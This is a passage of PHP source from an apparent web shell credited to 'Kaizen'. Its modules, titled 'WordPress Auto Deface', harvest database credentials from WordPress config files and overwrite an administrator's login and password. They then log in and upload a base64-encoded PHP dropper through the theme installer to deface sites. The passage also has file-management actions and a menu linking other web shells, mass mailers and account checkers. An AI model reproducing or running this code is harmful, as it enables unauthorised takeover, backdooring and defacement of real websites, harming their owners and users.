8349 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
8350 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
8351 $data = curl_exec($ch);
8352 curl_close($ch);
8353 return $data;
8354 }
8355 function lohgin($cek, $web, $userr, $pass, $wp_submit) {
8356 $post = array(
8357 "log" => "$userr",
8358 "pwd" => "$pass",
8359 "rememberme" => "forever",
8360 "wp-submit" => "$wp_submit",
8361 "redirect_to" => "$web",
8362 "testcookie" => "1",
8363 );
8364 $ch = curl_init($cek);
8365 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
8366 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
8367 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
8368 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
8369 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
8370 curl_setopt($ch, CURLOPT_POST, 1);
8371 curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
8372 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
8373 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
8374 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
8375 $data = curl_exec($ch);
8376 curl_close($ch);
8377 return $data;
8378 }
8379 $scan = $_POST['link_config'];
8380 $link_config = scandir($scan);
8381 $script = htmlspecialchars($_POST['script']);
8382 $user = "Kaizen";
8383 $pass = "Kaizen";
8384 $passx = md5($pass);
8385 foreach($link_config as $dir_config) {
8386 if(!is_file("$scan/$dir_config")) continue;
8387 $config = file_get_contents("$scan/$dir_config");
8388 if(preg_match("/WordPress/", $config)) {
8389 $dbhost = ambilkata($config,"DB_HOST', '","'");
8390 $dbuser = ambilkata($config,"DB_USER', '","'");
8391 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
8392 $dbname = ambilkata($config,"DB_NAME', '","'");
8393 $dbprefix = ambilkata($config,"table_prefix = '","'");
8394 $prefix = $dbprefix."users";
8395 $option = $dbprefix."options";
8396 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
8397 $db = mysql_select_db($dbname);
8398 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
8399 $result = mysql_fetch_array($q);
8400 $id = $result[ID];
8401 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
8402 $result2 = mysql_fetch_array($q2);
8403 $target = $result2[option_value];
8404 if($target == '') {
8405 echo "[-] <font color=red>error, not put domain name</font><br>";
8406 } else {
8407 echo "[+] $target <br>";
8408 }
8409 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
8410 if(!$conn OR !$db OR !$update) {
8411 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
8412 mysql_close($conn);
8413 } else {
8414 $site = "$target/wp-login.php";
8415 $site2 = "$target/wp-admin/theme-install.php?upload";
8416 $b1 = anucurl($site2);
8417 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
8418 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
8419 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
8420 $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
8421 $www = "m.php";
8422 $fp5 = fopen($www,"w");
8423 fputs($fp5,$upload3);
8424 $post2 = array(
8425 "_wpnonce" => "$anu2",
8426 "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
8427 "themezip" => "@$www",
8428 "install-theme-submit" => "Install Now",
8429 );
8430 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
8431 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
8432 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
8433 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
8434 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
8435 curl_setopt($ch, CURLOPT_POST, 1);
8436 curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
8437 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
8438 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
8439 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
8440 $data3 = curl_exec($ch);
8441 curl_close($ch);
8442 $y = date("Y");
8443 $m = date("m");
8444 $namafile = "id.php";
8445 $fpi = fopen($namafile,"w");
8446 fputs($fpi,$script);
8447 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
8448 curl_setopt($ch6, CURLOPT_POST, true);
8449 curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
8450 curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
8451 curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
8452 curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
8453 curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
8454 $postResult = curl_exec($ch6);
8455 curl_close($ch6);
8456 $as = "$target/k.php";
8457 $bs = anucurl($as);
8458 if(preg_match("#$script#is", $bs)) {
8459 echo "[+] <font color='lime'>Sukses</font><br>";
8460 echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
8461 } else {
8462 echo "[-] <font color='red'>Failed</font><br>";
8463 echo "[!!] coba aja manual: <br>";
8464 echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
8465 echo "[+] username: <font color=lime>$user</font><br>";
8466 echo "[+] password: <font color=lime>$pass</font><br><br>";
8467 }
8468 mysql_close($conn);
8469 }
8470 }
8471 }
8472 } else {
8473 echo "<center><h1>WordPress Auto Deface</h1>
8474 <form method='post'>
8475 <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
8476 <input type='text' name='script' height='10' size='50' placeholder='Hacked By Kaizen' required><br>
8477 <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Start'>
8478 </form>
8479 <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
8480 </center>";
8481 }
8482} elseif($_GET['do'] == 'auto_dwp2') {
8483 if($_POST['auto_deface_wp']) {
8484 function anucurl($sites) {
8485 $ch = curl_init($sites);
8486 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
8487 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
8488 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
8489 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
8490 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
8491 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
8492 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
8493 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
8494 curl_setopt($ch, CURLOPT_COOKIESESSION,true);
8495 $data = curl_exec($ch);
8496 curl_close($ch);
8497 return $data;
8498 }
8499 function lohgin($cek, $web, $userr, $pass, $wp_submit) {
8500 $post = array(
8501 "log" => "$userr",
8502 "pwd" => "$pass",
8503 "rememberme" => "forever",
8504 "wp-submit" => "$wp_submit",
8505 "redirect_to" => "$web",
8506 "testcookie" => "1",
8507 );
8508 $ch = curl_init($cek);
8509 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
8510 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
8511 curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
8512 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
8513 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
8514 curl_setopt($ch, CURLOPT_POST, 1);
8515 curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
8516 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
8517 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
8518 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
8519 $data = curl_exec($ch);
8520 curl_close($ch);
8521 return $data;
8522 }
8523 $link = explode("\r\n", $_POST['link']);
8524 $script = htmlspecialchars($_POST['script']);
8525 $user = "Kaizen";
8526 $pass = "Kaizen";
8527 $passx = md5($pass);
8528 foreach($link as $dir_config) {
8529 $config = anucurl($dir_config);
8530 $dbhost = ambilkata($config,"DB_HOST', '","'");
8531 $dbuser = ambilkata($config,"DB_USER', '","'");
8532 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
8533 $dbname = ambilkata($config,"DB_NAME', '","'");
8534
8535 $dbprefix = ambilkata($config,"table_prefix = '","'");
8536 $prefix = $dbprefix."users";
8537 $option = $dbprefix."options";
8538 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
8539 $db = mysql_select_db($dbname);
8540 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
8541 $result = mysql_fetch_array($q);
8542 $id = $result[ID];
8543 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
8544 $result2 = mysql_fetch_array($q2);
8545 $target = $result2[option_value];
8546 if($target == '') {
8547 echo "[-] <font color=red>error, not put domain name</font><br>";
8548 } else {
8549 echo "[+] $target <br>";
8550 }
8551 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
8552 if(!$conn OR !$db OR !$update) {
8553 echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
8554 mysql_close($conn);
8555 } else {
8556 $site = "$target/wp-login.php";
8557 $site2 = "$target/wp-admin/theme-install.php?upload";
8558 $b1 = anucurl($site2);
8559 $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
8560 $b = lohgin($site, $site2, $user, $pass, $wp_sub);
8561 $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
8562 $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
8563 $www = "m.php";
8564 $fp5 = fopen($www,"w");
8565 fputs($fp5,$upload3);
8566 $post2 = array(
8567 "_wpnonce" => "$anu2",
8568 "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
8569 "themezip" => "@$www",
8570 "install-theme-submit" => "Install Now",
8571 );
8572 $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
8573 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
8574 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
8575 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
8576 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
8577 curl_setopt($ch, CURLOPT_POST, 1);
8578 curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
8579 curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
8580 curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
8581 curl_setopt($ch, CURLOPT_COOKIESESSION, true);
8582 $data3 = curl_exec($ch);
8583 curl_close($ch);
8584 $y = date("Y");
8585 $m = date("m");
8586 $namafile = "id.php";
8587 $fpi = fopen($namafile,"w");
8588 fputs($fpi,$script);
8589 $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
8590 curl_setopt($ch6, CURLOPT_POST, true);
8591 curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
8592 curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
8593 curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
8594 curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
8595 curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
8596 $postResult = curl_exec($ch6);
8597 curl_close($ch6);
8598 $as = "$target/k.php";
8599 $bs = anucurl($as);
8600 if(preg_match("#$script#is", $bs)) {
8601 echo "[+] <font color='lime'>Sukses</font><br>";
8602 echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
8603 } else {
8604 echo "[-] <font color='red'>Failed</font><br>";
8605 echo "[!!] coba aja manual: <br>";
8606 echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
8607 echo "[+] username: <font color=lime>$user</font><br>";
8608 echo "[+] password: <font color=lime>$pass</font><br><br>";
8609 }
8610 mysql_close($conn);
8611 }
8612 }
8613 } else {
8614 echo "<center><h1>WordPress Auto Deface V.2</h1>
8615 <form method='post'>
8616 Link Config: <br>
8617 <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
8618 <input type='text' name='script' height='10' size='50' placeholder='Hacked By Kaizen' required><br>
8619 <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Start'>
8620 </form></center>";
8621 }
8622} elseif($_GET['act'] == 'newfile') {
8623 if($_POST['new_save_file']) {
8624 $newfile = htmlspecialchars($_POST['newfile']);
8625 $fopen = fopen($newfile, "a+");
8626 if($fopen) {
8627 $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
8628 } else {
8629 $act = "<font color=red>permission denied</font>";
8630 }
8631 }
8632 echo $act;
8633 echo "<form method='post'>
8634 Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
8635 <input type='submit' name='new_save_file' value='Submit'>
8636 </form>";
8637} elseif($_GET['act'] == 'newfolder') {
8638 if($_POST['new_save_folder']) {
8639 $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
8640 if(!mkdir($new_folder)) {
8641 $act = "<font color=red>permission denied</font>";
8642 } else {
8643 $act = "<script>window.location='?dir=".$dir."';</script>";
8644 }
8645 }
8646 echo $act;
8647 echo "<form method='post'>
8648 Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
8649 <input type='submit' name='new_save_folder' value='Submit'>
8650 </form>";
8651} elseif($_GET['act'] == 'rename_dir') {
8652 if($_POST['dir_rename']) {
8653 $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
8654 if($dir_rename) {
8655 $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
8656 } else {
8657 $act = "<font color=red>permission denied</font>";
8658 }
8659 echo "".$act."<br>";
8660 }
8661 echo "<form method='post'>
8662 <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
8663 <input type='submit' name='dir_rename' value='rename'>
8664 </form>";
8665} elseif($_GET['act'] == 'delete_dir') {
8666 function Delete($path)
8667{
8668 if (is_dir($path) === true)
8669 {
8670 $files = array_diff(scandir($path), array('.', '..'));
8671 foreach ($files as $file)
8672 {
8673 Delete(realpath($path) . '/' . $file);
8674 }
8675 return rmdir($path);
8676 }
8677 else if (is_file($path) === true)
8678 {
8679 return unlink($path);
8680 }
8681 return false;
8682}
8683 $delete_dir = Delete($dir);
8684 if($delete_dir) {
8685 $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
8686 } else {
8687 $act = "<font color=red>could not remove ".basename($dir)."</font>";
8688 }
8689 echo $act;
8690} elseif($_GET['act'] == 'view') {
8691 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
8692 echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
8693} elseif($_GET['act'] == 'edit') {
8694 if($_POST['save']) {
8695 $save = file_put_contents($_GET['file'], $_POST['src']);
8696 if($save) {
8697 $act = "<font color=lime>Saved!</font>";
8698 } else {
8699 $act = "<font color=red>permission denied</font>";
8700 }
8701 echo "".$act."<br>";
8702 }
8703 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
8704 echo "<form method='post'>
8705 <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
8706 <input type='submit' value='Save' name='save' style='width: 500px;'>
8707 </form>";
8708} elseif($_GET['act'] == 'rename') {
8709 if($_POST['do_rename']) {
8710 $rename = rename($_GET['file'], "$dir/".htmlspecialchars($_POST['rename'])."");
8711 if($rename) {
8712 $act = "<script>window.location='?dir=".$dir."';</script>";
8713 } else {
8714 $act = "<font color=red>permission denied</font>";
8715 }
8716 echo "".$act."<br>";
8717 }
8718 echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'><b>rename</b></a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
8719 echo "<form method='post'>
8720 <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
8721 <input type='submit' name='do_rename' value='rename'>
8722 </form>";
8723} elseif($_GET['act'] == 'delete') {
8724 $delete = unlink($_GET['file']);
8725 if($delete) {
8726 $act = "<script>window.location='?dir=".$dir."';</script>";
8727 } else {
8728 $act = "<font color=red>permission denied</font>";
8729 }
8730 echo $act;
8731}else {
8732 if(is_dir($dir) == true) {
8733 echo '<table width="100%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center">
8734 <tr>
8735 <th class="th_home"><center>Name</center></th>
8736 <th class="th_home"><center>Type</center></th>
8737 <th class="th_home"><center>Size</center></th>
8738 <th class="th_home"><center>Last Modified</center></th>
8739 <th class="th_home"><center>Permission</center></th>
8740 <th class="th_home"><center>Action</center></th>
8741 </tr>';
8742 $scandir = scandir($dir);
8743 foreach($scandir as $dirx) {
8744 $dtype = filetype("$dir/$dirx");
8745 $dtime = date("F d Y g:i:s", filemtime("$dir/$dirx"));
8746 if(!is_dir("$dir/$dirx")) continue;
8747 if($dirx === '..') {
8748 $href = "<a href='?dir=".dirname($dir)."'>$dirx</a>";
8749 } elseif($dirx === '.') {
8750 $href = "<a href='?dir=$dir'>$dirx</a>";
8751 } else {
8752 $href = "<a href='?dir=$dir/$dirx'>$dirx</a>";
8753 }
8754 if($dirx === '.' || $dirx === '..') {
8755 $act_dir = "<a href='?act=newfile&dir=$dir'>newfile</a> | <a href='?act=newfolder&dir=$dir'>newfolder</a>";
8756 } else {
8757 $act_dir = "<a href='?act=rename_dir&dir=$dir/$dirx'>rename</a> | <a href='?act=delete_dir&dir=$dir/$dirx'>delete</a>";
8758 }
8759 echo "<tr>";
8760 echo "<td class='td_home'><img src='data:image/png;base64,R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA"."AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp"."/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs='>$href</td>";
8761 echo "<td class='td_home'><center>$dtype</center></td>";
8762 echo "<td class='td_home'><center>-</center></th>";
8763 echo "<td class='td_home'><center>$dtime</center></td>";
8764 echo "<td class='td_home'><center>".w("$dir/$dirx",perms("$dir/$dirx"))."</center></td>";
8765 echo "<td class='td_home' style='padding-left: 15px;'>$act_dir</td>";
8766 }
8767 echo "</tr>";
8768 foreach($scandir as $file) {
8769 $ftype = filetype("$dir/$file");
8770 $ftime = date("F d Y g:i:s", filemtime("$dir/$file"));
8771 $size = filesize("$dir/$file")/1024;
8772 $size = round($size,3);
8773 if($size > 1024) {
8774 $size = round($size/1024,2). 'MB';
8775 } else {
8776 $size = $size. 'KB';
8777 }
8778 if(!is_file("$dir/$file")) continue;
8779 echo "<tr>";
8780 echo "<td class='td_home'><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='><a href='?act=view&dir=$dir&file=$dir/$file'>$file</a></td>";
8781 echo "<td class='td_home'><center>$ftype</center></td>";
8782 echo "<td class='td_home'><center>$size</center></td>";
8783 echo "<td class='td_home'><center>$ftime</center></td>";
8784 echo "<td class='td_home'><center>".w("$dir/$file",perms("$dir/$file"))."</center></td>";
8785 echo "<td class='td_home' style='padding-left: 15px;'><a href='?act=edit&dir=$dir&file=$dir/$file'>edit</a> | <a href='?act=rename&dir=$dir&file=$dir/$file'>rename</a> | <a href='?act=delete&dir=$dir&file=$dir/$file'>delete</a> | <a href='?act=download&dir=$dir&file=$dir/$file'>download</a></td>";
8786 }
8787 echo "</tr></table>";
8788 } else {
8789 echo "<font color=red>can't open directory</font>";
8790 }
8791 }
8792echo "<center><hr><form>
8793<select onchange='if (this.value) window.open(this.value);'>
8794 <option selected='selected' value=''> </option>
8795 <option value='$ling=wso'>WSO 2.8.1</option>
8796 <option value='$ling=injection'>1n73ction v3</option>
8797 <option value='$ling=wk'>WHMCS Killer</option>
8798 <option value='$ling=adminer'>Adminer</option>
8799 <option value='$ling=b374k'>b374k Shell</option>
8800 <option value='$ling=b374k323'>b374k 3.2</option>
8801 <option value='$ling=bh'>BlackHat Shell</option>
8802 <option value='$ling=dhanus'>Dhanush Shell</option>
8803 <option value='$ling=r57'>R57 Shell</option>
8804<option value='$ling=encodedecode'>Encode Decode</option>
8805<option value='$ling=r57'>R57 Shell</option>
8806</select>
8807<select onchange='if (this.value) window.open(this.value);'>
8808 <option selected='selected' value=''> </option>
8809 <option value='$ling=extractor'>DB Email Extractor</option>
8810 <option value='$ling=promailerv2'>Pro Mailer V2</option>
8811 <option value='$ling=bukalapak'>BukaLapak Checker</option>
8812 <option value='$ling=tokopedia'>TokoPedia Checker</option>
8813 <option value='$ling=tokenpp'>Paypal Token Generator</option>
8814 <option value='$ling=mailer'>Mailer</option>
8815 <option value='$ling=gamestopceker'>GamesTop Checker</option>
8816 </select>
8817<noscript><input type='submit' value='Submit'></noscript><br>
8818</form>Copyright © ".date("Y")." <a href='#' target='_blank'><font color=lime></font></a> Kaizen<a href='https://www.facebook.com/dhenz666' target='_BLANK'></center>";
8819?>
8820</html>